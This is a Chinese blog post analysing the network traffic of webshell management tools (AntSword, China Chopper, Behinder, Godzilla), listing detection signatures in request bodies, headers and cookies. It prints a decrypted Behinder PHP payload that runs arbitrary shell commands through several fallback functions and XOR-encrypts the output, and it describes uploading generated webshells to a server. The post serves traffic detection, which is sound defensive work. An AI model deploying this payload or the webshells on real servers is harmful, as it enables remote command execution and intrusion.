
WebShell工具特征流量分析
中国蚁剑流量抓包分析
数据包分析
通过编码的数据包1特征,发现是URL编码(BP会自动对其解码显示)
还可以通过解码网站对其进行解码,之后分析数据包特征
http://www.hiencode.com/
如下图,发现通过蚁剑终端传参之后得到的响应包任然是明文的
特征
请求包:每个请求体都是由下面这个数据开始的@ini_set("display_errors", "0");@set_time_limit(0);响应包:都是明文
中国菜刀流量抓包分析
因菜刀无法配置代理,因此我们通过wireshark来全局抓包查看流量(也可以通过Proxifier联合BP抓包)
数据包分析
特征
请求体存在assert eavl,base64等特征字符
请求体中存在固定字符:QGluaV9zZXQo
冰蝎流量抓包分析
这里以冰蝎base64编码生成webshell为例上传到服务器端进行流量分析
配置代理
自带PhpWebshell分析(base64编码)
数据包分析
在冰蝎虚拟终端进行传参分析其数据包特征
通过冰蝎自带解密功能对其数据包解密
如下解密后的函数,对关键信息进行base64解密还原流量:可以看到进入哪些路径执行哪些命令
@error_reporting(0);function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; } else{ return iconv('gbk','utf-8//IGNORE',$str); }}function main($cmd,$path){ @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result)); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result));}function encrypt($data){ $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode";$after=$bs($data.""); return $after;}$cmd="Y2QgL2QgIkU6XDFRVFxQSFBccGhwc3R1ZHlfcHJvXFdXV1x1cGxvYWRcdXBsb2FkXCImd2hvYW1p";$cmd=base64_decode($cmd);$path="RTovMVFUL1BIUC9waHBzdHVkeV9wcm8vV1dXL3VwbG9hZC91cGxvYWQv";$path=base64_decode($path);main($cmd,$path);
如下图对cmd变量的关键信息进行base64解密可得明文
对其响应数据进行解密
加密的响应包数据TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA== 一次解密后 {"status":"c3VjY2Vzcw==","msg":"Z2ctYm9uZFxnZy1ib25kDQo="}+.$r1('#%<tcgjbZ-e'aor+$;s3r:r>4r1k%]@.n)192>bm=m%{}.p"1xw/r:$?5Vm4Zy5'1?~|"k/a"=t\>`"a;)F~2\y6?d>6=]mar} 对关键信息进行二次解密(status和msg的值),如下图
弱特征
Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Content-type: application/x-www-form-urlencoded
强特征
请求头固定dFAXQV1LORcHRQtLRlwMAhwFTAg/M解密后@error_reporting(0);
哥斯拉流量抓包分析
配置代理
生成webshell
将哥斯拉的webshell上传到服务器
Webshell连接
抓包分析
数据包通过base64编码
强特征
Cookie: PHPSESSID=erqjms95fqav97qa99euqiu1t6; # cookies值多了分号;数据包贼长
弱特征
请求包Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8响应包Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果